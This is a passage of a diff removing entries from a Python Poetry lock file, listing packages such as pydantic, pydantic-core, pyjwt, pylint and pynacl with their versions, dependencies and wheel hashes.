"propcache-0.3.2-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:21d8759141a9e00a681d35a1f160892a36fb6caa715ba0b832f7747da48fb6ea"}, - {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2ca6d378f09adb13837614ad2754fa8afaee330254f404299611bce41a8438cb"}, - {file = "propcache-0.3.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:34a624af06c048946709f4278b4176470073deda88d91342665d95f7c6270fbe"}, - {file = "propcache-0.3.2-cp39-cp39-win32.whl", hash = "sha256:4ba3fef1c30f306b1c274ce0b8baaa2c3cdd91f645c48f06394068f37d3837a1"}, - {file = "propcache-0.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:7a2368eed65fc69a7a7a40b27f22e85e7627b74216f0846b04ba5c116e191ec9"}, - {file = "propcache-0.3.2-py3-none-any.whl", hash = "sha256:98f1ec44fb675f5052cccc8e609c46ed23a35a1cfd18545ad4e29002d858a43f"}, - {file = "propcache-0.3.2.tar.gz", hash = "sha256:20d7d62e4e7ef05f221e0db2856b979540686342e7dd9973b815599c7057e168"}, -] - -[[package]] -name = "ptyprocess" -version = "0.7.0" -description = "Run a subprocess in a pseudo terminal" -optional = false -python-versions = "*" -groups = ["main"] -markers = "sys_platform != \"win32\" and sys_platform != \"emscripten\"" -files = [ - {file = "ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35"}, - {file = "ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220"}, -] - -[[package]] -name = "pure-eval" -version = "0.2.3" -description = "Safely evaluate AST nodes without side effects" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "pure_eval-0.2.3-py3-none-any.whl", hash = "sha256:1db8e35b67b3d218d818ae653e27f06c3aa420901fa7b081ca98cbedc874e0d0"}, - {file = "pure_eval-0.2.3.tar.gz", hash = "sha256:5f4e983f40564c576c7c8635ae88db5956bb2229d7e9237d03b3c0b0190eaf42"}, -] - -[package.extras] -tests = ["pytest"] - -[[package]] -name = "puremagic" -version = "1.30" -description = "Pure python implementation of magic file detection" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "puremagic-1.30-py3-none-any.whl", hash = "sha256:5eeeb2dd86f335b9cfe8e205346612197af3500c6872dffebf26929f56e9d3c1"}, - {file = "puremagic-1.30.tar.gz", hash = "sha256:f9ff7ac157d54e9cf3bff1addfd97233548e75e685282d84ae11e7ffee1614c9"}, -] - -[[package]] -name = "pycodestyle" -version = "2.14.0" -description = "Python style guide checker" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d"}, - {file = "pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783"}, -] - -[[package]] -name = "pycparser" -version = "2.22" -description = "C parser in Python" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, - {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, -] - -[[package]] -name = "pydantic" -version = "2.11.7" -description = "Data validation using Python type hints" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pydantic-2.11.7-py3-none-any.whl", hash = "sha256:dde5df002701f6de26248661f6835bbe296a47bf73990135c7d07ce741b9623b"}, - {file = "pydantic-2.11.7.tar.gz", hash = "sha256:d989c3c6cb79469287b1569f7447a17848c998458d49ebe294e975b9baf0f0db"}, -] - -[package.dependencies] -annotated-types = ">=0.6.0" -email-validator = {version = ">=2.0.0", optional = true, markers = "extra == \"email\""} -pydantic-core = "2.33.2" -typing-extensions = ">=4.12.2" -typing-inspection = ">=0.4.0" - -[package.extras] -email = ["email-validator (>=2.0.0)"] -timezone = ["tzdata"] - -[[package]] -name = "pydantic-core" -version = "2.33.2" -description = "Core functionality for Pydantic validation and serialization" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:2b3d326aaef0c0399d9afffeb6367d5e26ddc24d351dbc9c636840ac355dc5d8"}, - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e5b2671f05ba48b94cb90ce55d8bdcaaedb8ba00cc5359f6810fc918713983d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0069c9acc3f3981b9ff4cdfaf088e98d83440a4c7ea1bc07460af3d4dc22e72d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d53b22f2032c42eaaf025f7c40c2e3b94568ae077a606f006d206a463bc69572"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0405262705a123b7ce9f0b92f123334d67b70fd1f20a9372b907ce1080c7ba02"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b25d91e288e2c4e0662b8038a28c6a07eaac3e196cfc4ff69de4ea3db992a1b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdfe4b3789761f3bcb4b1ddf33355a71079858958e3a552f16d5af19768fef2"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:efec8db3266b76ef9607c2c4c419bdb06bf335ae433b80816089ea7585816f6a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:031c57d67ca86902726e0fae2214ce6770bbe2f710dc33063187a68744a5ecac"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:f8de619080e944347f5f20de29a975c2d815d9ddd8be9b9b7268e2e3ef68605a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:73662edf539e72a9440129f231ed3757faab89630d291b784ca99237fb94db2b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win32.whl", hash = "sha256:0a39979dcbb70998b0e505fb1556a1d550a0781463ce84ebf915ba293ccb7e22"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win_amd64.whl", hash = "sha256:b0379a2b24882fef529ec3b4987cb5d003b9cda32256024e6fe1586ac45fc640"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:4c5b0a576fb381edd6d27f0a85915c6daf2f8138dc5c267a57c08a62900758c7"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e799c050df38a639db758c617ec771fd8fb7a5f8eaaa4b27b101f266b216a246"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc46a01bf8d62f227d5ecee74178ffc448ff4e5197c756331f71efcc66dc980f"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a144d4f717285c6d9234a66778059f33a89096dfb9b39117663fd8413d582dcc"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:73cf6373c21bc80b2e0dc88444f41ae60b2f070ed02095754eb5a01df12256de"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dc625f4aa79713512d1976fe9f0bc99f706a9dee21dfd1810b4bbbf228d0e8a"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b21b5549499972441da4758d662aeea93f1923f953e9cbaff14b8b9565aef"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:bdc25f3681f7b78572699569514036afe3c243bc3059d3942624e936ec93450e"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fe5b32187cbc0c862ee201ad66c30cf218e5ed468ec8dc1cf49dec66e160cc4d"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:bc7aee6f634a6f4a95676fcb5d6559a2c2a390330098dba5e5a5f28a2e4ada30"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:235f45e5dbcccf6bd99f9f472858849f73d11120d76ea8707115415f8e5ebebf"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win32.whl", hash = "sha256:6368900c2d3ef09b69cb0b913f9f8263b03786e5b2a387706c5afb66800efd51"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e063337ef9e9820c77acc768546325ebe04ee38b08703244c1309cccc4f1bab"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_arm64.whl", hash = "sha256:6b99022f1d19bc32a4c2a0d544fc9a76e3be90f0b3f4af413f87d38749300e65"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a7ec89dc587667f22b6a0b6579c249fca9026ce7c333fc142ba42411fa243cdc"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3c6db6e52c6d70aa0d00d45cdb9b40f0433b96380071ea80b09277dba021ddf7"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e61206137cbc65e6d5256e1166f88331d3b6238e082d9f74613b9b765fb9025"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eb8c529b2819c37140eb51b914153063d27ed88e3bdc31b71198a198e921e011"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c52b02ad8b4e2cf14ca7b3d918f3eb0ee91e63b3167c32591e57c4317e134f8f"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96081f1605125ba0855dfda83f6f3df5ec90c61195421ba72223de35ccfb2f88"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f57a69461af2a5fa6e6bbd7a5f60d3b7e6cebb687f55106933188e79ad155c1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:572c7e6c8bb4774d2ac88929e3d1f12bc45714ae5ee6d9a788a9fb35e60bb04b"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:db4b41f9bd95fbe5acd76d89920336ba96f03e149097365afe1cb092fceb89a1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:fa854f5cf7e33842a892e5c73f45327760bc7bc516339fda888c75ae60edaeb6"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:5f483cfb75ff703095c59e365360cb73e00185e01aaea067cd19acffd2ab20ea"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win32.whl", hash = "sha256:9cb1da0f5a471435a7bc7e439b8a728e8b61e59784b2af70d7c169f8dd8ae290"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win_amd64.whl", hash = "sha256:f941635f2a3d96b2973e867144fde513665c87f13fe0e193c158ac51bfaaa7b2"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win_arm64.whl", hash = "sha256:cca3868ddfaccfbc4bfb1d608e2ccaaebe0ae628e1416aeb9c4d88c001bb45ab"}, - {file = "pydantic_core-2.33.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1082dd3e2d7109ad8b7da48e1d4710c8d06c253cbc4a27c1cff4fbcaa97a9e3f"}, - {file = "pydantic_core-2.33.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f517ca031dfc037a9c07e748cefd8d96235088b83b4f4ba8939105d20fa1dcd6"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a9f2c9dd19656823cb8250b0724ee9c60a82f3cdf68a080979d13092a3b0fef"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2b0a451c263b01acebe51895bfb0e1cc842a5c666efe06cdf13846c7418caa9a"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ea40a64d23faa25e62a70ad163571c0b342b8bf66d5fa612ac0dec4f069d916"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0fb2d542b4d66f9470e8065c5469ec676978d625a8b7a363f07d9a501a9cb36a"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fdac5d6ffa1b5a83bca06ffe7583f5576555e6c8b3a91fbd25ea7780f825f7d"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:04a1a413977ab517154eebb2d326da71638271477d6ad87a769102f7c2488c56"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c8e7af2f4e0194c22b5b37205bfb293d166a7344a5b0d0eaccebc376546d77d5"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:5c92edd15cd58b3c2d34873597a1e20f13094f59cf88068adb18947df5455b4e"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:65132b7b4a1c0beded5e057324b7e16e10910c106d43675d9bd87d4f38dde162"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win32.whl", hash = "sha256:52fb90784e0a242bb96ec53f42196a17278855b0f31ac7c3cc6f5c1ec4811849"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win_amd64.whl", hash = "sha256:c083a3bdd5a93dfe480f1125926afcdbf2917ae714bdb80b36d34318b2bec5d9"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win_arm64.whl", hash = "sha256:e80b087132752f6b3d714f041ccf74403799d3b23a72722ea2e6ba2e892555b9"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61c18fba8e5e9db3ab908620af374db0ac1baa69f0f32df4f61ae23f15e586ac"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95237e53bb015f67b63c91af7518a62a8660376a6a0db19b89acc77a4d6199f5"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-win_amd64.whl", hash = "sha256:c2fc0a768ef76c15ab9238afa6da7f69895bb5d1ee83aeea2e3509af4472d0b9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:a2b911a5b90e0374d03813674bf0a5fbbb7741570dcd4b4e85a2e48d17def29d"}, - {file = "pydantic_core-2.33.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6fa6dfc3e4d1f734a34710f391ae822e0a8eb8559a85c6979e14e65ee6ba2954"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c54c939ee22dc8e2d545da79fc5381f1c020d6d3141d3bd747eab59164dc89fb"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53a57d2ed685940a504248187d5685e49eb5eef0f696853647bf37c418c538f7"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:09fb9dd6571aacd023fe6aaca316bd01cf60ab27240d7eb39ebd66a3a15293b4"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0e6116757f7959a712db11f3e9c0a99ade00a5bbedae83cb801985aa154f071b"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d55ab81c57b8ff8548c3e4947f119551253f4e3787a7bbc0b6b3ca47498a9d3"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c20c462aa4434b33a2661701b861604913f912254e441ab8d78d30485736115a"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:44857c3227d3fb5e753d5fe4a3420d6376fa594b07b621e220cd93703fe21782"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:eb9b459ca4df0e5c87deb59d37377461a538852765293f9e6ee834f0435a93b9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9fcd347d2cc5c23b06de6d3b7b8275be558a0c90549495c699e379a80bf8379e"}, - {file = "pydantic_core-2.33.2-cp39-cp39-win32.whl", hash = "sha256:83aa99b1285bc8f038941ddf598501a86f1536789740991d7d8756e34f1e74d9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-win_amd64.whl", hash = "sha256:f481959862f57f29601ccced557cc2e817bce7533ab8e01a797a48b49c9692b3"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5c4aa4e82353f65e548c476b37e64189783aa5384903bfea4f41580f255fddfa"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d946c8bf0d5c24bf4fe333af284c59a19358aa3ec18cb3dc4370080da1e8ad29"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87b31b6846e361ef83fedb187bb5b4372d0da3f7e28d85415efa92d6125d6e6d"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9d91b338f2df0508606f7009fde642391425189bba6d8c653afd80fd6bb64e"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2058a32994f1fde4ca0480ab9d1e75a0e8c87c22b53a3ae66554f9af78f2fe8c"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:0e03262ab796d986f978f79c943fc5f620381be7287148b8010b4097f79a39ec"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:1a8695a8d00c73e50bff9dfda4d540b7dee29ff9b8053e38380426a85ef10052"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:fa754d1850735a0b0e03bcffd9d4b4343eb417e47196e4485d9cca326073a42c"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a11c8d26a50bfab49002947d3d237abe4d9e4b5bdc8846a63537b6488e197808"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:dd14041875d09cc0f9308e37a6f8b65f5585cf2598a53aa0123df8b129d481f8"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d87c561733f66531dced0da6e864f44ebf89a8fba55f31407b00c2f7f9449593"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f82865531efd18d6e07a04a17331af02cb7a651583c418df8266f17a63c6612"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bfb5112df54209d820d7bf9317c7a6c9025ea52e49f46b6a2060104bba37de7"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:64632ff9d614e5eecfb495796ad51b0ed98c453e447a76bcbeeb69615079fc7e"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f889f7a40498cc077332c7ab6b4608d296d852182211787d4f3ee377aaae66e8"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:de4b83bb311557e439b9e186f733f6c645b9417c84e2eb8203f3f820a4b988bf"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:82f68293f055f51b51ea42fafc74b6aad03e70e191799430b90c13d643059ebb"}, - {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:329467cecfb529c925cf2bbd4d60d2c509bc2fb52a20c1045bf09bb70971a9c1"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:87acbfcf8e90ca885206e98359d7dca4bcbb35abdc0ff66672a293e1d7a19101"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f92c15cd1e97d4b12acd1cc9004fa092578acfa57b67ad5e43a197175d01a64"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d3f26877a748dc4251cfcfda9dfb5f13fcb034f5308388066bcfe9031b63ae7d"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dac89aea9af8cd672fa7b510e7b8c33b0bba9a43186680550ccf23020f32d535"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:970919794d126ba8645f3837ab6046fb4e72bbc057b3709144066204c19a455d"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3eb3fe62804e8f859c49ed20a8451342de53ed764150cb14ca71357c765dc2a6"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:3abcd9392a36025e3bd55f9bd38d908bd17962cc49bc6da8e7e96285336e2bca"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:3a1c81334778f9e3af2f8aeb7a960736e5cab1dfebfb26aabca09afd2906c039"}, - {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2807668ba86cb38c6817ad9bc66215ab8584d1d304030ce4f0887336f28a5e27"}, - {file = "pydantic_core-2.33.2.tar.gz", hash = "sha256:7cb8bc3605c29176e1b105350d2e6474142d7c1bd1d9327c4a9bdb46bf827acc"}, -] - -[package.dependencies] -typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" - -[[package]] -name = "pydantic-settings" -version = "2.10.1" -description = "Settings management using Pydantic" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pydantic_settings-2.10.1-py3-none-any.whl", hash = "sha256:a60952460b99cf661dc25c29c0ef171721f98bfcb52ef8d9ea4c943d7c8cc796"}, - {file = "pydantic_settings-2.10.1.tar.gz", hash = "sha256:06f0062169818d0f5524420a360d632d5857b83cffd4d42fe29597807a1614ee"}, -] - -[package.dependencies] -pydantic = ">=2.7.0" -python-dotenv = ">=0.21.0" -typing-inspection = ">=0.4.0" - -[package.extras] -aws-secrets-manager = ["boto3 (>=1.35.0)", "boto3-stubs[secretsmanager]"] -azure-key-vault = ["azure-identity (>=1.16.0)", "azure-keyvault-secrets (>=4.8.0)"] -gcp-secret-manager = ["google-cloud-secret-manager (>=2.23.1)"] -toml = ["tomli (>=2.0.1)"] -yaml = ["pyyaml (>=6.0.1)"] - -[[package]] -name = "pydub" -version = "0.25.1" -description = "Manipulate audio with an simple and easy high level interface" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "pydub-0.25.1-py2.py3-none-any.whl", hash = "sha256:65617e33033874b59d87db603aa1ed450633288aefead953b30bded59cb599a6"}, - {file = "pydub-0.25.1.tar.gz", hash = "sha256:980a33ce9949cab2a569606b65674d748ecbca4f0796887fd6f46173a7b0d30f"}, -] - -[[package]] -name = "pyee" -version = "13.0.0" -description = "A rough port of Node.js's EventEmitter to Python with a few tricks of its own" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "pyee-13.0.0-py3-none-any.whl", hash = "sha256:48195a3cddb3b1515ce0695ed76036b5ccc2ef3a9f963ff9f77aec0139845498"}, - {file = "pyee-13.0.0.tar.gz", hash = "sha256:b391e3c5a434d1f5118a25615001dbc8f669cf410ab67d04c4d4e07c55481c37"}, -] - -[package.dependencies] -typing-extensions = "*" - -[package.extras] -dev = ["black", "build", "flake8", "flake8-black", "isort", "jupyter-console", "mkdocs", "mkdocs-include-markdown-plugin", "mkdocstrings[python]", "mypy", "pytest", "pytest-asyncio", "pytest-trio", "sphinx", "toml", "tox", "trio", "trio", "trio-typing", "twine", "twisted", "validate-pyproject[all]"] - -[[package]] -name = "pyflakes" -version = "3.4.0" -description = "passive checker of Python programs" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"}, - {file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"}, -] - -[[package]] -name = "pygments" -version = "2.19.2" -description = "Pygments is a syntax highlighting package written in Python." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, - {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, -] - -[package.extras] -windows-terminal = ["colorama (>=0.4.6)"] - -[[package]] -name = "pyjwt" -version = "2.10.1" -description = "JSON Web Token implementation in Python" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb"}, - {file = "pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953"}, -] - -[package.dependencies] -cryptography = {version = ">=3.4.0", optional = true, markers = "extra == \"crypto\""} - -[package.extras] -crypto = ["cryptography (>=3.4.0)"] -dev = ["coverage[toml] (==5.0.4)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=6.0.0,<7.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] -docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] -tests = ["coverage[toml] (==5.0.4)", "pytest (>=6.0.0,<7.0.0)"] - -[[package]] -name = "pylint" -version = "3.3.8" -description = "python code static checker" -optional = false -python-versions = ">=3.9.0" -groups = ["dev"] -files = [ - {file = "pylint-3.3.8-py3-none-any.whl", hash = "sha256:7ef94aa692a600e82fabdd17102b73fc226758218c97473c7ad67bd4cb905d83"}, - {file = "pylint-3.3.8.tar.gz", hash = "sha256:26698de19941363037e2937d3db9ed94fb3303fdadf7d98847875345a8bb6b05"}, -] - -[package.dependencies] -astroid = ">=3.3.8,<=3.4.0.dev0" -colorama = {version = ">=0.4.5", markers = "sys_platform == \"win32\""} -dill = {version = ">=0.3.7", markers = "python_version >= \"3.12\""} -isort = ">=4.2.5,<5.13 || >5.13,<7" -mccabe = ">=0.6,<0.8" -platformdirs = ">=2.2" -tomlkit = ">=0.10.1" - -[package.extras] -spelling = ["pyenchant (>=3.2,<4.0)"] -testutils = ["gitpython (>3)"] - -[[package]] -name = "pynacl" -version = "1.5.0" -description = "Python binding to the Networking and Cryptography (NaCl) library" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1"}, - {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = 